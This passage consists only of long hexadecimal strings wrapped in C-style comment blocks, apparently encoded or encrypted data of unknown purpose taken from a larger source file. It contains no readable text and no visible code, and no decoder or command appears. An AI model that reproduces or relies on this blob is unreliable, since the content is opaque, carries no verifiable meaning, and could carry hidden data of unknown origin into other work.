1931274c00e36933d47a3bb57a80a9f91888a547d2ad3eca332cd870d9d451c48fbd79bf3311a7cffc955460e51545992f9f87571f76a0f681398966733f076956f0b1bc6a45d3545b4446ff93463c8ac35cf7a68adaf75191667999030e7803f9697ea8a9053b1c79a78a4f92fcc1591c92005b9890da857f62fd0efb761ee1e57378e9fc584ee416af3cab1ec0f407d4d6a8727db9d425537a52a4f147f9884ee6c2c2ea744f4be509dc6f661b1672729e8797a093ef48e1e55ee389ccdf6b3c6cc1bb1b15d4d894dba3fd7cf42daa9e5662d8079f27d3a1ac94ae1ed8ad08631cedc65427828605b6f7cf27cab166bc37a989fda989ea8dab7ead7f05959f56c928d114f3d29d93cc541c72942cc2e43cdbdb8c73ae0e8895392203a08e24ccc48c12c4c23a9de9df37e2a8a73fa5d32398113375a34c0150f85ba62fbf8989f23f237d4dabe0d0dd0e2800702ac07b01787daca4f11c6d936edad557c6e01bad1a9ae1d88a4471a56aff7354dc234a84e23ce867036fc62bd80ec53002f82d6ed7b1b28c051e4a459b1a0934227f07c489c2bb027dd46fe9d7600446e41916c7b78e8ea53d78e508111ee3199a71cba9dc83124f5446e18e07979de8cb2247e99350f803d7022e3416eb024ebe9ed83ecff9ffb0a4ab09a81096d74fc4dbb41afc8a5ec426efe97a3038f1fb9*/
/*b70b603c8a26511aa00c2cef4d9a76f13f38b1fbdef52445d03e398e7adb75efa5973649c3e56af4a98fa60fa5600c22d52243d4f4e6b0fdcfa0b9582320a4895d607708fbaa568023878ca55c5e9bf0b41992b701775ded33a8f2dfbc5e881631f3e21c9ca1447c9296dc287afc4c2826776275f97567e4f4cdd09d38932f250ac0317967b980e3114bc2be6c7f576e1ae4b5371bc446fd8a22a103f284b8658abc098a7af8a00c23309bee31df5345c44a778367c62241afd4000315f2ab06badd4d759a2aab891aa5bbad8acdf098f304c053c360ffe755c42817a5c630ae39996a10883c1445ceaa5832eb4caa6ae6208e0595b6c04d2328087e5c2e89a9195b95242495339a8c56ad22346f49a59b0dffede15921e47e625c59d675ae9f81cceded0015c180da7bb35ac2ead9caa1d1941ff86750a96ec6fc881787ee5f3e6e7c53244191de9ee9e73d24896ce7994ccf451f12dea640967c3bd7ee39577f337f07de943cc2722d6b1fb1c7d1dcfc8c0de2e0cd7a6050e1b1d931b85236f4b774eea9041c9ae0655d17629f7072b06658eda06b9c7e63b2b156ddc8f0c99aa2dd9d85ec308b662619d392b4d3831265a80e4bcf6d956fe1634fce9ebb345e0cdf988d60f6559650dcbfc531e4182c87e0a5a9bf9d575976106d8900b7b7e57b435a92f1c8519b973ddfe25f8eb306794602c58f3cd0e25899778e93f29de06032c5a497fca7328183fbd759eed1a3b8874255fd6674bbf66ffd4e14c485ae68fdb6b31d309d80d8f0235b7fd4cf8970226dc973f57921a863fa01296a41939fe0675a6ada725772d03cfa573a541d6f25845a665930bc106bd7840ee6baa88202c05c2c0e927d067d41a6957b9f6bda9f57ced7132679841379c069712bda61f4cb9d8449bad1591903496618850cf7a4ff573ed05d7dadc5e437586da393b7bf5ebf635cf39a7cd45b0afe20e9d5eb19b1df5e4883a5f66973d2ef7d7b9ee16060fcb46204ad2b6fd885f1a48c467bce90db9316cf24715bc9ff8173bd8ae5abb0cf999b275c036b44b5c9a4afa4c43cbe63576932b3b693f0f30aba988ca82f9456c5de2b09d7346dca0b5b6d5cda05e612cd6ed420108dc7251f7127fb16ef97f393bd0de0d78e98371144c1fefb4044ba3bd6d5c4a8468d394469132f5bbcbd121801cd65c7d0ce483bd61bd3bf9d5f55e1f253cf168dc5023dcded8735ff4913cb043b05873dc050fc56b603f7d3e4ad0ad5b9832cd290c5575c3db7f039fcfa66d8e4dc416d9ba7dcb626f33664b66c0f4f7cf973fcc2d72225eb6e2f096c685d15a8349beef2ed16f6bd021348727303a5ae9190d1590986d6d1aeeee899e12de64ba8974fc475f59cb684e6fc01d2d5a4f8e7216ecd55fc2ce9c2f1a0d6ff61da6c7d9223a70cddedb01d0fff5f4b5d6b7dcd368bc33257a54956e4410b553bce829ec7e9686a3bd12a8fd133a8873a99f8a2447f481ac18ab9308f7d4ede8ebf32c42f13ee0de43886ffa6d768148860cb83ba62ac8193d779adf9df922e32e6debee1d9ede14c92c5061332c9c355e4e42fde794438a91a4fc08db41d5a0072ebeb5e5425f76abdac9f18ff537727ebc12934c57b984c97382ff68217145802d934175df4d915c9c214526493e5953f871899720f39cf6b9d4e699b99b20960c5427fcd7c74772ff989793b365ed17a291cd19f3f86c86306fef27b264c3c71504e822f19afcb3457be8a4e887f36b9941d12c7ac7472bc5e174e10464e37f63317ceb6312d0ff42707e02f9d51b898e475c6ee16777bd46460e483f5f02a119e62f288547fbb0597b4863fac09d00d77b6918fae2e0109290669f5eae872fb522d9ad4b5106dfccab65961d072408d0f6e8e5a27428db1b2729308b8fe93d1bd3c4b7ab04a2cc88de1e57421c5906a799763d695cefdf2a2e381f16e84c99f2270c0018446e5119e1691b3baf13d1abf027b676e072f2c922a83a746671812c056dbed574e4e0a89caf46f513ac3ad261aa47192fec0e119d2af500c827e6c9bf9890b8283dd4091ccf083a362bfadff00685d920f34c9fa996544d83bc21e9ac3c60afa3626f6d8bee064bf70f8c88a7e072cd213fd526f4efb3d6c9aeceddb8580085e1e64a2ef09c7971f190e6cc89d09e5be2eb6b53ff077fef545bbb67aefd8ccc4bb77bf45790d7ebfeb3d541ce5e431bc71a4c6b7ba4a7da61ce6705a02c7d4e10955fadc735d61a11eea6beca1e0d678894884a1aabf5d8c6d5a68640b310ff487e83d96a2b39aca9fb825954bef7258e072580157fdba4b00d8a7da39269365783b3fc94c2a534cef883ade5620c183e92889c98840c2c48f4388ef2753d057e1412227b8f8ff2b34e2af18871afe0330cb9b69ea013f3d59f6748991f55e83fd19e9cd2edea106e0075f56a3cbbb28935503475c2a7fa27ca8a418be5a03ec5da5eadcdae881d3ca4d0c3dd0e94fab2db5b9822703444e5e7d273c9ac532e03b6a0fd06c1fc8a2c0fc8d71b599555fb6282f63b4dde484bfc0dee7304321f709a3b8da0b03f935a3a012ecc950b1e63ceff192749c01cfe8e6890f577658b4ced5676451d094d1ecd00045a1fc91ee989f0f244759765219a37febb8bbba6a982ae851f0df46c9bdde20b956a2d21ec7b8e3ff8c4ac96af94f4fa965d40efb43694e9a78a4bb02ead607d3b4d7b46a45a8dd98b9c4db083a8efa0933451ed74a0b8f831224d2af1e73db6aa474b0fd8afc0007ecb6d65aa69a15f2abf6552f9d85566245602bcee085c84745182c035044a564beb92bad979f595d298097e621b82446*/
/*064faa7f070108eecf2eed2227ceb5abd227cc9fd284da241c7ef1f4167c1f20639e71ff870fdf1c52780e2192fde0f04ae1980647b82e297017953dfc32deba8d5641d500479c4e692ef5707fb1461f5ae1f0a5a3d301b6f20ae9a50eb52df5940f30c3b97424d4a4f31a78c105b0b615db8005651f79278fd1db4fb3de7270ce6d81f1133d12e4d06f840085a58597a5b81393f85d5c0ea75fa8d9f5b86c1d40fc706eb83537b190b36220e9beb8662bc065906fe0b04813cde741b5d57ea92d822c5546b722ae09bca5dbba459218ecae98423ec78e72ee2cb149ff6eb0ccb9676fcacfb94ae5bc344cdefe75ef1c873a059a7bbc8e2360d1ab52b1147cfeaf1718831b261478476ef588a287f3629c451d52fbb6c86ec95487ef34e52c76608505cf173368fd5b42f4ae1b4bab425395ff7bf08c2c1cf2764149e13098784c8ad8adfa9e743b301856c184f91b5d2fa0daa55546cb6c37a098f55ca7835296030d089600996fb7f9dbdff1f5f9159637299d12c427f55ed40ca255d7fec1bd0f7126f6783cce4ea5583c5c9d47e9d948caa8638b5925a7c1620c840ed3eea198f86a1ced06321cbf2736e5e21e8345754a20a83f3c508b0beb452692831713c180199232926e47fc55c178e07e59a64d962a756ca4ba2011f3dcf66de554ec6ceda35f5547ca4f7fa9e98dd95ea22480379c8e328d1e8fd8b3bf9380674aa44c79b62546d15ee74ab1aa24f37fe349bdd8d2d8a261f9ac6540ca0f001f8635366363f41fff261a8a7da303f139e95dfe26410039bdbb197c26ef359b9562a8bdd3d6d475909b6d5c8a06d86ddacb34da055f1ec29e1078de49b68ddea8851f5c0c86af6fa20c6e92d4358c363f1ab269882650301ef63a227527548e9613e3ba395cc19f01c5cc67b956abd08b103718f36aca7a3b911c89c828eda2ca4d3e2cf607cd1187196affcb6924c69d561e3c79bfaa2758efe2cd37a08254685de11aea28baab849abac66435775e93d653076c1309c7c09966b8723177e52a8b38f5927958bf04a93a51469a4d00b3f98e3d3977b0c8ffdd469f9f84b5e99a9581dc121bfedc9601a0b01437a87a800e80eaaabc9691563682059515031f5f01c413e18aac2057130852917ffc4b8adff10f43618850c01f19f49fa2656cbcf6bab1fc8f7d052f591dc4d4514976476ed12cb28e5d78cabc87de9eb65f36945d6c8451e5e5ffc3be323bc191d6f1946abafc82b939268e0efbbf597135383433aa960543f7f093a38b5219a2b178ac38546db36fccd0ddb411e913ebe4c9a8b13bf8336c805174600b0ab4fc821262ef696fed69a7d90df571be6ca6491dad111cf42d99fa34adfe5fc8bc78ba8916fd67136c552e694b829c38b1746352026303d079a992512a4282f63e06f03b826970adb4eb710729c65a1b5f80c94846016ac19a8bbfb6219527ba7de4dfd0f94111d8e884d682b5d269ee78c45698c10386c0a78282e4bab92ac934022e5fcb050047886da4f3ef7a0d689bddf951e912b0b23f3f1812247d029c92fc375a281d1088aea4bb73176517f780fd2d2b7f9992db52ac6ba740b222724a6b5a2632d2db937a8271050a4e54a8d9c1a90fe12c80a3e90877b95d999889f4c7ae45a052ac4c575055374857fbbd8136e6e8c06e757e7b59c7910a64179c670ac8dd7e80df899028cf4d7ec40b3df4a07a027b965de575dc5a4e8265e7b2780bd878c62c29f7b7bc8810c81855c61491feb7fb90762b6ff15fa6557e43e371b8205d6c04c39ddc69ca64ca1d625785eba9ecb3532d4426183b690bc3709233f239cb6dbcf1d7b001642affe2bdd8452272df17f310f22c66ba81fcfa747962a7b9c8ada95c14900de26da113018ae0e7d409201a210d2b856a4b4353eb09a32a8647ce95a97f239d1f5538e9f79032fc9762743a7b4a0e8872a934b2f20d292b18d7bab49306902ec3208301c38363de5327c8f3068272d1dd7617a4291c9edebaca24aa2989ad2629ee455b7eb4090ef4cade531ca038ed4a8371889f16e46c87840befaa55a84e3f3c254024db32d4ebe449f4b4ee39bf193eb395d49d755a86841c4e1933dcf961817ad45620398a65b6707abc20c1128de23d7e544c35d61c560da2f9673cc24c6e36e4aafdb7204a1ada14a945e0f42ef3f593ff263c3648fc00d9898b7293914e8f4db208950cefe363363eff59261cf34bfbd581db09b13ebad45bd7e32efb108d66b74909b78c6367e24baf0c6b6d0f6fa420aa32296939f9498cc81df83c85013f5796c4123d5209cbb7d77d8bf892d5a3af28272117bf0965297f8e23775e90e1251ae87d677a50eb86b6ca33e445587b1cfb7436d3361b4ec3bf4a5838d8749fbca6fc9169818887d174af42744260e914128d7d642284c363617afa3f9f387178c4009e4cdc08b8e60f2a64a484a5f02d90acfa459038a6b0756bd877559d54afdc415858c3c3bb0382c8200c1cd3baa5e46fae731d2608014b669121bb7894b1e6650cbce82ff5f82ba7a47ad38766bb6e6710867aed0cc74451872c0f333532a7c3185977245f2141797643dd26f9cbfdf3c5404b48757ccd3b6a5575f748f59e182c6439a6ed7a85a27fd46d820328b14872caaeec2fc7e4704f03b0ed6dcd166c53423871ab7cdb901ef6d849a84578d54595720c6e6bffbad5d9c6138641c98323c32ebb31043f2ecd4f463994bca7af980b11af1081ed17a6604a3d624690137decf01313b82c28cd244f7cd307e933cfdec6c294964020841c409a676f9d1ced26b98f70d41ac5e6e3b8bf3544958ce13232895b*/
/*fe608cbc3fb3d1b0423398cb449519c14c6d99cefcc416018dd3b7b77dc416012d3cacddbceefd415752b13acca91c2fadb68a41abb9897fb57afaef5bea7ea87b62135409d203e83975887067e6d7d50c21ee62eb30aa1340214d74fb77fa2a86a3cf39d2b9eb0f81d3f11020082b4997ee1fcf45bfc80c579e128a313770678e29e9900d990422c1702b6da17cd0bf68c62ed90cb32b4c06c3a64ad5bb470a3d36488d70f0788e50db4af5d4337eac87ee2a97cdd285ecaf764b3daaa3923d7e86451d1cab2fcb411559e6940fbf0e4d076322b49545d5e8b6171e65146ea8e51f55162a35b4dd766bd78de341301bef9baf115c3911726ca1477f945bb93c1daf374ab73f3867b4832d8c42bc80a6d469c964f59e31369a6e3fd80a4dbbd7d5e85a121051118de3926dee08a23d2abccb617730674fcb24c4b940c90aeadc9854fa6dd6c5eba6260602aea6db4bdab3e84df59b00c2e0bf2580da606dd93c04219bc68d74efc671804bd1421f4ee0f3be2d8398931502bcbd0764368ebba6866c49f2a81fadffb32f48d997d84fcff7381fd5630556e0994d4311b73fd0b67a1c806d5cdb718740be299968be43acef2afa30f7dedac10bdfa5350e25a20d9c45b207be526c14982f0b8a03278aa781c2ebc59cb99e3a1b9391b0be6bdf84b4f7d4247cadd076e2eb13a3d12a0567f65a00f735addf45abae3db0175a0beb998cbf3490c4f535e7607779aedb3f86a3350873b5f338e3520e39e1dfe14cd78d82cff12f27113d658850fc758c30269cf97f897295b4588f7791974449e29c7acce304fc539017714be14fd4a74249129fbc417cfd47dbfe10109d5822bcfe3c21d99922b560abea402e6bce64fc03c8c0692d42da4e446020e9cb72841d64de5356f47f8c15ece62f06f02c1dbdd064be4a1d9f91dc4402fa969db254630e16c10a23f4d0fe9db41f4b9f689431cf9336e810bacef6e1dd054868d0d6178d71f71cf74e9f19466751bccbbc56fdc07542503470cac0b6e782155401ee00f14698b339b0e551686a129bdfe2dec369d24740661df4432912d9fc0d1c19cdb269444c00673ec46e6bc8d376b849c426ed051c7c07974319ded98ef29a5a89f220610f5c05b3cfe3dc22e2366cd7add619e9e3ad757f14174df615592a83fa772525f4aebf5461bafb30c82c985d76d4aa903e0ce363c98470e3e392533847c85d9fba8030d1100e90b5650dd6a703ec347e323e8f80908bac2816df06992e373aaf8481bc90d6ba9fa049b5488950dd694bbebb1f45ba3d0abf41fc6ef1843c0e008e3d124977ac6ca0c5c8fc7d564e3bc5295c007223741dcb55f4b0eb7967ec423820a06382d78281adb4fb3f1d680e0e9cdbbd798145dd9b9c5e28669a2e0b8ebb879ed4272cc281ba84ec9e6ba886375d7d5792dda5a0b67f5ae06a7719ea4eea45da97f054616cc4b4659b5d77b0178effcb75ff9469dad7a0fe2097e68eb8fc9b4b35e3cf6c40714efa4376529c023841c57639c474fb38a6df45e9c414dd8031e0d90f154466865a93791064d2982375094a5f4109eb0783f5deb7697ad8fe2167296d779233dfb34345343a11a3dcfae12104d3195f4f50555cfaeb5923e38b1e9510f543e428c51b9cd1312868855b3aff686f643d19f1d6e603cab5475ee93e32f8fbf03ebcdd22c59d5918433d1898e2b21a3c7676330c43739e420771d03c1a41724bedd100d6eb8b4b87bdd1f83f23e3a977f6b0e1002cabe711deb2dacd00088c2dff93603377bca60372850f9ad5944c51570c8848130a948ba7afda847d76beb9df6eab482904022012a462cd7abdb3c3e690bee718526264cb25e279a03511687ce7a4ceedbdfd11544a0d5d27b94ad4cb7643d9b9de2883906647003e15d1e00f5fb5606b94990695254a7992d6208c9a146df66a6b597e2eb3120fba169056494d9ca13ebd169a5c5d506d55ecf5a1f3afb7595099853603debcd791abed5f2e131d5a04172d6c2bda2c9583a21a63e17ec6ee6c7af99a06868515ca97bfb3f095ab90b52f88522afe8ab75e71b640fb0da45ed44c267384019565077195e47ed5d018fd5860fda64e561f26d08c4df10d43f4f944fa5aecf435891207d058351fbb29c408c7c5313f0b404111cfd56da1c5731702ffd9883987d978014a9344f2f6029ecb6903498ceddceeaaa94ae60af7a220219cfb06d43c9a24704f38749a2390b17954ab4b24b0fc1b84ef3f1ad495a86cbb05ee162363052a28fb50ddde6c0599323cfce57cee337ebbd54655efb88b7f7d77b29c3440c7fe6037cdfe9f7339f38900a252308930a348407c013772dfee1a93503bd66bcc4c5906b1c05f81a8a31b46d96be1ff778b9b596922031bb007a6fb8777f0c4fae8fdbfce3ee6559fd33c5abd8aebafda7b1585c21609265c999c461b503b72bca6fe25675168544a91c474f95fcc9e4d9da73168a9b803eaf3881b9983e6947339390267fcc64d843559a6f07bcc7799cbc8764d1a5101d4ee8dd4d38404132bb1168311571e2176f168e53145badc48a8748012be7bc5f236af556443f2c22fa1b88f0701687f3b08782e5d0d74d7be007545e1ff2d5ff0a5e860479767a7d5bc2d4f1d83cbc22e5f26746ebe48007e9e56d87ca018ad6f6e9f43b4b5e80d5f82dfff1eaf6a92c5c6c515289d3c395b87cbed79a442e21d9733e6116abebd45edecd6c8c05bc68facb197ce8b593ddd416bdc95113ae16d9445350208b3091026f0018a30c6d7c0eaefb4d35be5dea76c3e43618adb97081199a5e4e5645891b3569c4994c511f0287f1a*/
/*aaad35d1c13ca5627458009c8f2b40ba2c7000402b460732dfa7376442977271f3c70aa7c3e916316fb5be9eee57398542329b1944b70e525bb1970a45403aba050c713ab1744a58224eb8664a3dff448cd3ebea58f82e3899ec362ead6a9e15bd4c2c828592b29e3dd80912d64c9660e7495d92ed32a769b50cdbd6ecd0932b1debe9dddb87c0195d051c068dc741442517c8fb29a180b8e778a0a737b19697f78d71de7fc07a1935fd220350eba354a25fde5b9f9c3f75944ce13bb388fe56e7dbedb11d61ad55a112d2e552dc6f7634dd4fac1f87243b7a8b7b8961779c7f6b9df0bd8cfc87993b32c4fe549b406a17cc37ae240b5ee73f1631cdfe4bdfdc85d1ee1449ea632da59f00ec62efcbcdb10460f63975aeaed27f04693299187f13d582b9743ee5c801847227e9c71f33b58d5af31ed06eb4f49dde0d62df8abd73034693e83e1cc85ad807aae9d7c8f7e74313ac194b88555c9b7c4a05b4339050c36ec7fcb9716f926d1bb4202d14aeba50e42be67cd8e6d4586207e1490f1dc25b748ffab04eea27c2c7629d944fa7aee2b2d5ce95569efae24fbcd5e5fe0a213336ad052ceebf5aead9d1a0da46e85d449bb9ad2fd36419fc09d71d86b86b60694e518eaa35bf0af2d13489229886853a19ce56e27994345c1215fd8b6adc36f7974d26114450641aa559af63ea1a6e4f395ec7c0f709b703d5809877b19b7fdf744e300a871947bd9ffa6223820ca498f744706ca17734a21e1f9e36e1d1a725f4629021e72f1c9f114d329cc64190bb9d7d4c04d65d89d684b20c1d9485abd2fcaea01f157e06cb7c9ab4a3b7c727b78932e2a5a84657854bd25cabf1fa77b0a49ebe3652c01afb890eebfe6fd7dbac5608e1e6faf5886aa3c43f7520a3d3d495f7e684a8cd8067d421505c2164eef4bb1daac65eb80ac935e4cbd3a68b4ceb78021e435a5ea5dc4996a9a63e06abfaf8070806427e25f012d1cfa5cacebc58f01a99cb89f5abc796dbff4a9686bb73f5c9e476174372048d49fd5143d1bbce4b6797a90b8ba3f9f3b3c92ecb4b20425a38783e481f40111d100a341c7cdd3fa1ca620f832ece6a8f70f38c159b241005bd0b3900fe9cfcb22ebea1b07863ed5be497ad55c972e140183c695c80c5882aca70a650002dbb7347e424a75e3a530d01c8c89d079c3c7d5135cb057f7436b12789a4efbc3f24bd817ec71b32036e2153109d4de1e14364ae8078d023bbc2c27b7b4688ff0a237a65d2410ea3b106bb128695844d07805bf177f9b512ec33889d9f1c8806e09468c01a4cf87439dc24d88718ca45d4976b96c681601a5265cae6f1003fec9351dd4de7e3bfc0752188bcaa13ac2f0cdb38b046728f7a30142dcc60373f31e7c27d91f4b7f94bde823ab3a874753f7b8e8518a9ce50b21a1aa7206ea477e640d6d5d598dc8413367333e8ec197a0d9ea36b1936a4bf3cfcb8f59c324084044ce094dde20567f006b08d568c1cef2a33d5bd44f3a86aa895be2913842c97e83b7ca2ecb7d0c3679bbbbaaeda7551e957b792e3b7c3e282df7536dedfed4448001d85319f5720fe6802b2c2c849a5a65d3c494a9370bd178d90f5f5fb4cc893323bdcdf034e1a13d4d3fa0dde9b9d6eb5429acd3827d04366774574efae6792a20a2c1fcd47209f2dc779f086b7ebfd79be3ae96460aa287fd7d7e5600c512178ccfa4e2b14ebed70cf02160cf9e292925eb12587fcdccb4dd14801034e1f9c58c9323105a6805dcf8ca3e3d16bc997ba96c2d1e5d0ba9164c86ed95ae2fd6455dfb624fa8cc6abf02f966e55ce7cf77899764c31cc5c82df60c46b31b33e9ec0bb90607db132673bd835d33d63836e875f52f45f5e24dc35d72c17d3a2ac9395b7d89b2a2046e224200314dd90c018478549d837596de76564e130529308169cee48d03269eafdc8a99b7f459cb4c9de62d835c29defaad07aa55226790c0666c5f3ed2757a157b736723dd8419961b894bd3e6442ba60ec8e11be4a84527f82f126d8ffb4f7fac91cbbc0aa01ed1d09024bfcab7c3fe72a96d0a956417c5374e78e75f4af29dd7004a7d175cfdb7e0a3fe5c5ae09b4a90bff06ea2f36126a5c40aca6e402ba9064f2240cffd59b32d43c78b90bb3571a0ba886660413b7025821272e091e684f6c2ce67edb65205d3e4136383bd140f3ba223f8b347b3ab0cb75951dd936b1dee03a4721fc069e549e2af2bd7b5289dc7f3cda5a4e196fa887ed4c2fa35f5e08aeb2c5e8d041bef6a6e5e5bf22432ff9ba1e3adc8e6400d0426f4ae2d94f1dcb73ef1d70e0fb9c35da75a129850d924dfaeab519a50dede14245e11cc6f841531f16b5ab777a83e89a8bfc58797f290fd513c67b7093c54265c6518795b1de3e24e9bc154cc20ba7fb1a667725334c30968063a02d0cebfb55b3225bb1dc579b38bc3334ab3157e638528ddb3ec187aec3f2603a7b83ef1ba92c7c0dffbbb78167b3b70e12ec9c8691d133f72389f92187515db29a9b9ec3da0d265168c4e3f42e16d7335eaa31cd4114a4e2fef6e3b17fb3d73de102f0adcd428a5feaea808bec03c6a5e78678cad70cd9b8e9fd2e8dc0f836729dc172cfa5a4b5a07067ec93c3c7c1cbc46c5f558525f7620e6750c2a11d6b84a52ba6fcc944bc10d37b213342b58e81b291d647ab905f2ea810f95eaa77e13516c9b5dd91516c7a5a2f4ee67a57b2ed5e3550f52bbd8c6c6b6211267802effe9b63ef6c8e201beaf277c07270f64d18ca40a945151961508afc09838a3ceea77e4a12a10fe598efb4d49e9fa5cd560ee2d3f1393f18e3aabb19edc5*/
/*40df4ddc1d79bc89e1b19eab630ae4acc14d9a538b6c6956753e323d9877d63734081da1770b9f4e783a112909b19a72ffd653e21b9c397b246d97df07ac30c3e7ddfbed768555b88e30bece00d1d2f266381698171e6ecece3d020abb99fc7ec88282e8d9dcf39b90bb4fef28473eb44c659deb42352d1139084edd5086556d425d1f51bb850f2b05cde1e532f348718af0ed659baeea2026b089702e966bbaa4029c612750c73b56564c6eea6459483c0a7ffc2c1212f7a5df36f5aa425481445d19dff53f57c427e2a7be3e7cd8e642aa5d7f36c494c980d3a2a35efcfbce488fbc91d4400e3d93d615c61df635f2c9f51ddae280005486ceeb43147e5ecf43c2a218ec5ace2370bc950535fcb8b7c4e8bdecc5273bc8180aa5703b8cb3795fff0e5441d114d7ce6c4b4cf1dadfbaca193c7202c8362a7eb73c357eb257463205470a0b240a249e268ab88ac235319dd8967c30571cc73f803b5ad34d6f55c26708739f0276dbfe50c9b523c05b50680badf17052517c7c6c3f213b58e7ef89060d0f5a595f6479df639ee29ff5f18c9cc82f293cd50d595b299ce9ae82a2038b12312c5f2c3437696f1416b1ec1ff7627a8086c3387518073094bce21e8a33b7c8c613611e7ad57d230b803e986e9328a1764f7721c900dc4b0dd5f4b54f87960c75f2230992b6ba56b98b7c0a9aa96106ae1e28adf63e7823bc62fdb5dc11659c5c355d0a4c984ce09cbdd0c23ec4445125a9b0f276ae390ce384ccdd0033162f26389a67d6a1406f50e48ecb86804b2ee1518ffcbdbf0869fd938ea508e16de369c28b3aad1ec262d1ea13455769c3eac5e453f1ecf5400f1bbead9c9a98855d73c8fed455a093278f43a6ef688430377a126ff160c4bf4a04b97c21beef45f4843b0eb848362bac8403d45b5c7a2e2bc206adcf241b170aad9902107f58d3dfd344dfd9537c8683af967616c91395a93e9b5c7038aab01b3fdc63bc7028224a08003224597efc9debdac19f9dc119bbad390e09c7c2a2d8678f56bc3734f53a227b970cfbc2b5ce75499453bb868d29e30a0bb75f7254553b45b1ad7aa92eefca2968da5851dd40cd67167df9a63216b0ec4a54c8fbda78fd7a8dc628d5acabf93bf539b3c0fe394dabc56d1b397f01b0a61c3b84a8d8ff3a5de532838b7a3be6233a08b9c76f6ee18286cf6afc2dafbf53f97b095382cf2faf7c556b214b0240923f927678e117930b8711febfe764aa68941880084deca113da9807bc489b77f1d09523ece81c592ee3cbcef7d8a5d6e260435138bdf4446d09775ee9f21a304a78f9493cc5ead22e41dcbddd3b12ba519cf42d77fe8cff43a63b37afbeff3724936c89c1b82ec8ebaec4a8723ebc7c8d0a032c2955a452d9eb9122de1c01185fefe0e9075b50b140d724a5301204a7d5278e001342feb9f348a1efbfb0e4dff75d997590b60b51b33c096a17e8db7b15854af679e6ab92fc16022dddc9b3a245945e3de40b350933c1d0e738d0750e07526ef7cb3fbf1eb53bb2071a864a74a6e3d5c796a0a7534fa40ce2f07393e147f4afd8950dc88f30a443fe00371cf9149764df3b081c9fed0ecc11cb68d6009bf7689c7f94af3d86ef183c28149260e29dd6a2ac4788a69ef61c379d9900b249b382cfb50aafa643b65288637c6168436c1217f9f65efba659f866e264a5a360789a92b05ac5c89b24a9e1de3326a9dcec8ea1d53a84f3ab9203081428f8b9f5badce6260fc30c01b39e062a6e3c18d9678d6404d76b9f25e093ee6fb1aaa5bd1d4ddff4d5a1286357418189d6a91bc5fbc2156c3e28a3fb762a989588aaad7d5603c8b1013e1421957f42cc9acc857f7782edf4720095d26ae5ae07c3aa5844b638c75d78216bf639148f7f11e9519993f172a41c40400da8fb48600c11a8a5a6b860a18b896859a89bc8e9c650ca01e006a62b18e4ce1c9109fa3811925a39bcf970857c62783db63b678d21133061b0251765be62c74ec97e5b5093f3f03a3aa5c4f164f9ba70d5321ec6f3ae0acdfe8ce2afd64b41bef445489817d513e9e68149cd57444b87bac416f3718d4b694e6b43aa9f6d1c0ba48201ad0a71bc57a91220d49327b7ed89ec88d581420a81b1264cb85828690ae430c4fa6e917b23fd58bfd1be450e298478676be0dd1ae0bc7e1c584c4f31ace025ad82bd7519a879f3f705d94b58a9b5ab085eee7240a8c7100c1295ceae06cfe14982972072d8ae3654e3ba53c56dc0bfe029dc9305ff8bc683074cb988a4d53bb7ad317e386c81fef8cc6d4f9d4a57fd6275c948e52794ae0a96881afae50a9d66143a2fff553cd63e462446105845553772fc8b98945ad0142ec4557c18c05dd58c09d09725e0d845f28a0b08d76237169f1d0f3ae2cd191015ae203aa81047e43ad1a98f64af2f06b94a5fe2ee435755e3afe3631a256da3a548a575b4657117a7e1c41c4e9f8b38b5e0606b5082b449c92963f25998e9731e2601e2d37915932e89da636d53843b34dd040df9aa87dd91928b0f38070c2af0428c1d8921febb4c069c34dd95a84706c39ca7cb0499b643910cd71370e93eaa89b3664ad41ab5b656b8e4d971effd415952794bb73278a63bd10add7e67609626fd33ec45f3a4ad6e46f37e491c1a6ca795db3fa6490add18663ab3f718f68c4afabf875b10a5c4eab191cabf70ebb290e73c797d68691b230b8271d76a09f0b8f5a803538b872c9f49d9cab73abc2dc2adb134abe30f95c9306d5d81fc6b2569668eb5bc172734736c5fab39dbeadec5d21e88febdfa8c3dee30dc9f2f49619bc5b8ab7732cd*/
/*d6bd9b4569e44c9e23054171f4e43bf9c75e38881e06bc558255715a516738dc98e79295b7a064e6a91d6b8c7234db43754f65e9f85573b1eb93be30dd079de3bb98c4f1f3fa4441af4b6ce381ae4f78094ccc0a10d2b9623446f8a8138b52b04d0ddeacf259b8621ae9e23bb3b959d601d64506af7bb236c4e963067fd24de3c74145dee6873e9a0cc3112a471cbbe1128c4235024ed77fca8088346020b828e61e67c8e29933e4e297c262d3d48c3f5a57b5b63d065a2f7fd8ff91da0fc4920b5c9beef0cf9f7bf75b1f35167367f3c399133088f7e4f33017ac9b48bfa0ecc0b2a0dc0da31ea62d62385d7917117a3e55d48efc6c7b53d3b56de2539b4978e43384a38ee1e9656e7301e9970a9de87564718ad25d99d0b2526c600e87a414b22435075b5fe75b5ee3b9989933d5413bc409ca379f24b2876550b90b456e88e26e0ad2844fdb93db9ea25557495c06b6fbd895295cc2c52d0c7c1e84a6d734ae34ebbf6bd6558279faca64708be7d11999fb0cefe499f9a7c7f87f51909ee43168e8106b5cefd4bf2c4f5a96bde0d0440328df9f98617a4b4e27a9646cdd69329614e31762286ff1fe605b22f2bbbd34a20233f8b79fe3cc9be21841d1fcbf5b15c4c09294ad443b6df3fed7c3efae1c83e29ecf43286799fa94a8b27426e791b239f4dc78285d1d56a2747a4dcacd9ce0c933e3e6eff023f11513cc3a2ae65827880a864c6aa69982d591909f081e56a5cffe2a4ad4875c744b562fad984d20827d5dc1083f9a0aa66f2de006f342b7fcf775af9f97e905101b0e62c642661553318f2a642ea3461b26c728fe08d9d58df7d2cd56e2a4ffc5ebabafafe6f3b61bc41fc35ea3e45f694e507db21f65bbdb03d4589c643c79c25084e2a839cf2929b38d3536d66a982b0c4982c45fdda05c69f089444ccb6fbd7976c2df9580c94edc70e48cb50e63bc24d26fb6f045868fe5bb87d1465885382d6a7524b5ddef07d58ee2a952ec2037912903b756279da7503b91e71a5c2cf47e2a11e8a101bc8e32bede92a6953b88c35fc8e306f399a8d48f3ade877273b9e5b25b1912109227d69edafd1db3e99baf90a3c0f67b5b4f691cf503975e2c07065464e2d71f66a7483520dcf590e415490c5f816d689b44eb46f4858e001b652f6f364298581f676ac719cff5dc9475b11b5a00bf99f627846e45773959f935d68756287616fb80d78b1bda90902e41ef4be81fc5027877e1b12f9fb9be65524a3f049cf462d8890d3dd445e739a0b226d57454c350fc20cf9da560b80f307087ece42cbeefb44a29e665e374ebe9df4aafe9cb2451d0dddf19658d800ba70f63e1a063afa3b5c17b7b97cf3dbfa2730deccd82971dcd47fa05b2a6c8c37c6f1352539fa203c40e8eabe1a5ea